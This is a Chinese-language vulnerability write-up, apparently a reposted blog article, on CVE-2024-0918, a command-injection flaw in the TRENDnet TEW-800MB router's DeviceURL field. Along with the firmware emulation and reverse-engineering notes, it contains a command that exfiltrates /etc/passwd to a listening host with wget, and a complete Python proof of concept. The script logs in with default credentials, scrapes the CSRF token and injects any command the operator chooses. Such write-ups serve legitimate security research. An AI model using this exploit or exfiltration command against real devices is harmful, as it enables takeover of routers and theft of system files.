CVE-2024-0918 TEW-800MB RCE漏洞分析

漏洞描述

固件版本为1.0.1.0的TEW-800MB路由器存在命令注入漏洞。如果攻击者获得了web管理权限,他们可以将命令注入到httpd未知函数中的post请求参数DeviceURL中,从而获得shell权限。。

参考链接

TEW-800MB (notion.site)icon-default.png?t=N7T8https://warp-desk-89d.notion.site/TEW-800MB-1f9576ce12234b72b08b9c7f4c7d32a6?pvs=4

本次我们来分析固件web漏洞

由于也是涉及大量的开发知识,本次分析不可能面面俱到。凭借着开发经验我们无需关注那么多的函数传递的细节,结合关键字 大胆猜测 在进行大量模糊测试验证自己的想法。

漏洞环境搭建

固件下载https://www.trendnet.com/support/support-detail.asp?prod=100_RB-TEW-800MB

仿真环境GitHub - pr0v3rbs/FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic Analysis

sudo ./run.sh -d TRENDnet ../fw_tew800mb\(v1.0.1.0\)_08012013/FW_TEW800MB\(v1.0.1.0\)_08012013.bin
漏洞分析

此次漏洞接口uapply.cgi

使用binwalk 解压固件的文件系统,先分析下相关前端代码

分析下这个表单 from

<form method="post" name="DeviceNameURL" action="/uapply.cgi" onsubmit="return checkDeviceURL();">
<input type="hidden" name="page" value="/adm/management.asp">
<input type="hidden" name="token" value="<% genToken(); %>">
<div id="box_deviceUrlSettings">
<table width="100%" class="tbl_main"><tr><td class="CT" colspan="2"><!--#tr id="mg.17"-->Device URL Settings<!--#endtr--></td></tr><tr><td class="CL"><!--#tr id="mg.18"-->Device URL<!--#endtr--></td><!-- Ricky Cao: Exactly, the length of predefned URL has not be limited in kernel level (bridge code) --><td class="CR"><input type="text" name="DeviceURL" id="DeviceURL" size="32" maxlength="64" value="<% nvram_get("DeviceURL"); %>"></td></tr>
</table>
<table width="100%" class="tbl_main"><tr align="center"><td><input type="submit" class="button1" value="<!--#tr id="apply"-->Apply<!--#endtr-->" /> &nbsp; &nbsp;<input type="reset"  class="button1" value="<!--#tr id="cancel"-->Cancel<!--#endtr-->" onclick="window.location.reload()" /><input type="hidden" class="button1" name="action" value="Apply">    <input type="hidden" name="DeviceURL" value="setDeviceURL">    </td></tr>
</table>
</div>
</form>

这个表单提交给/uapply.cgi

可有属性 page token DeviceURL action=(Apply) DeviceUR=(setDeviceURL)(默认值)

接下里使用ida pro 分析 此次的http服务 httd

搜索相关关键字DeviceURL 分析参数传递后做了怎么的处理。或者搜索system 查看调用的参数是否为我们可控

有echo %s 的执行, 查看伪代码

v48 是v47来的 v47是nvram_get("DeviceURL")来的 。DeviceURL很有可能是我们传递的参数

由此我们可以向其中注入命令

漏洞复现

我们先登录前端管理页面 用户名密码都为admin

之后访问/adm/management.asp页面

看来DeviceURL 就在这里了。 我们打一个http请求,本地监听4444端口

注意js会拦截检测,我们直接把它删掉。点击apply

点击之后我们立马收到了请求

漏洞复现成功,我们可以尝试数据外带wget http://192.168.116.131:4444?$(cat /etc/passwd)

附赠poc


import requests
import base64 
import reif __name__ == '__main__':print('start !!! ')target = input("Enter Target IP : ")username = input("Enter Username : ")password = input("Enter Password : ")cmd = input("Enter you want cmd : ")auth = username + ":" + passwordhash = base64.b64encode(auth.encode('utf-8')).decode('utf-8')s = requests.Session()headers = {'User-Agent': "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0",'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",'Accept-Language': "en-US,en;q=0.5",'Accept-Encoding': "gzip, deflate, br",'Authorization': f'Basic {hash}','Connection': "close",'Cookie': "expandable=6c",'Upgrade-Insecure-Requests': "1"}response = s.request("GET", f'http://{target}/adm/management.asp', headers=headers)data = response.texttoken_pattern = r'name="token" value="([^"]+)"'token_match = re.search(token_pattern, data)if token_match:token_value = token_match.group(1)else:token_value = "Token not found"print(token_match)exitburp0_url = "http://" + target + "/uapply.cgi"burp0_headers = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','Accept-Language': 'en-US,en;q=0.5','Accept-Encoding': 'gzip, deflate, br','Content-Type': 'application/x-www-form-urlencoded','Authorization': f'Basic {hash}','Connection': 'close','Cookie': 'expandable=6c','Upgrade-Insecure-Requests': '1'}# Form data to be sent in POST requestburp0_data = {'page': '/adm/management.asp','token': f'{token_value}','DeviceURL': f'tew-800mb`{cmd}`','action': 'Apply','apply_do': 'setDeviceURL',}s.post(burp0_url, headers=burp0_headers, data=burp0_data)print("end !!! ")

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/483657.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Leetcode 11.盛水最多的容器

题目 给定一个长度为 n 的整数数组 height 。有 n 条垂线&#xff0c;第 i 条线的两个端点是 (i, 0) 和 (i, height[i]) 。 找出其中的两条线&#xff0c;使得它们与 x 轴共同构成的容器可以容纳最多的水。 返回容器可以储存的最大水量。 说明&#xff1a;你不能倾斜容器。…

2.5《Python3 网络爬虫开发实战》学习之实例实战1

目录 1 实战内容 2 确定思路 3 代码实操 3.1 实现一个个网页的爬取 3.2 爬取每一个网页的电影详情页url ​编辑 3.3 连接链接&#xff0c;针对每个详情页链接进行爬取、汇总内容 3.4 存储在txt文件中 4 结尾&#xff1a;整体代码 1 实战内容 爬取Scrape | Movie中所有…

Redis之缓存击穿问题解决方案

文章目录 一、书接上文二、介绍三、解决方案1. 单例双检锁2. 缓存预热和定时任务 一、书接上文 Redis之缓存雪崩问题解决方案 二、介绍 缓存击穿就是大量并发访问同一个热点数据&#xff0c;一旦这个热点数据缓存失效&#xff0c;则请求压力都来到数据库。 三、解决方案 1…

基于FPGA的I2C接口控制器(包含单字节和多字节读写)

1、概括 前文对IIC的时序做了详细的讲解&#xff0c;还有不懂的可以获取TI的IIC数据手册查看原理。通过手册需要知道的是IIC读、写数据都是以字节为单位&#xff0c;每次操作后接收方都需要进行应答。主机向从机写入数据后&#xff0c;从机接收数据&#xff0c;需要把总线拉低来…

echarts series中的data属性添加动态数据后不显示问题,一处儿异步细节问题

当从后端获取到数据后&#xff0c;发现饼图并没有顺利加载数据出来&#xff0c;使用console.log()测试先后执行顺序&#xff0c;会发现饼图的方法会比请求先执行 此时就可以把饼图的方法放入到请求执行结束后 以下为修改前&#xff1a; 修改后&#xff1a; 一处儿异步的细节问…

网络编程知识整理

目录 1.1 引言 1.2 分层 1.3 TCP/IP的分层 1.4 互联网的地址 1.5 域名服务 1.6 封装 1.7 分用 1.8 端口号 1.1 引言 很多不同的厂家生产各种型号的计算机&#xff0c;它们运行完全不同的操作系统&#xff0c;但 T C P / I P协议族允许它们互相进行通信。这一点很让人感…

Shell 脚本系列 | shell三剑客

目录 1、三剑客介绍2、三剑客之—grep1. 常用参数2. 常用示例1.过滤以#开头的行和空白行2.找出所有的mp3文件包含艺术家jayZ&#xff0c;不包含remix3.计算匹配项的数目4.在匹配字符串周围打印出行5.匹配显示所有IP 3、三剑客之一sed1.常用参数2.常用示例1. 奇数行后增加2. 删除…

虚拟机 安装 centos7 带桌面

虚拟机 安装 centos7 流程 https://mirrors.tuna.tsinghua.edu.cn/centos/7.9.2009/isos/x86_64/ CentOS-7-x86_64-DVD-2009.iso vmware 安装 centos7 的时候&#xff0c; 如果 不是 选择的 稍后 安装操作系统 &#xff0c; 会不让你选择配置选项&#xff0c;自动帮你把系统…

百度地图海量点方案趟坑记录(百度地图GL版 + MapVGL + vue3 + ts)

核心需求描述 不同层级有不同的海量图标展示底层海量图标需要展示文字拖动、放大缩小都需要重新请求数据并展示固定地图中心点&#xff08;拖动、放大缩小&#xff0c;中心点始终在地图中心&#xff09; 示例图片&#xff1a;&#xff08;某些图片涉及公司数据&#xff0c;就未…

【力扣 - 翻转二叉树】

题目描述 给你一棵二叉树的根节点 root &#xff0c;翻转这棵二叉树&#xff0c;并返回其根节点。 提示&#xff1a; 树中节点数目范围在 [0, 100] 内 -100 < Node.val < 100题解&#xff1a;递归 思路与算法 这是一道很经典的二叉树问题。显然&#xff0c;我们从…

Nginx配置组成与性能调优

目录 一、Nginx配置介绍 1. 模块组成 2. 图示 3. 相关框架 二. 配置调优 1. 全局配置 1.1 关闭版本和修改版本 1.2 修改启动的进程数 1.3 cpu与work进程绑定 1.4 pid路径 1.5 nginx进程的优先级&#xff08;work进程的优先级&#xff09; 1.6 调试work进程打开的文…

浅谈数字信号处理器的本质与作用:从定义、原理到应用场景

数字信号处理器&#xff08;DSP&#xff09;作为一种关键的电子元件&#xff0c;在通信、音频、图像处理等领域扮演着不可或缺的角色。然而&#xff0c;对于许多人来说&#xff0c;数字信号处理器的概念可能依然模糊&#xff0c;其作用和原理也许并不为人所熟知。因此&#xff…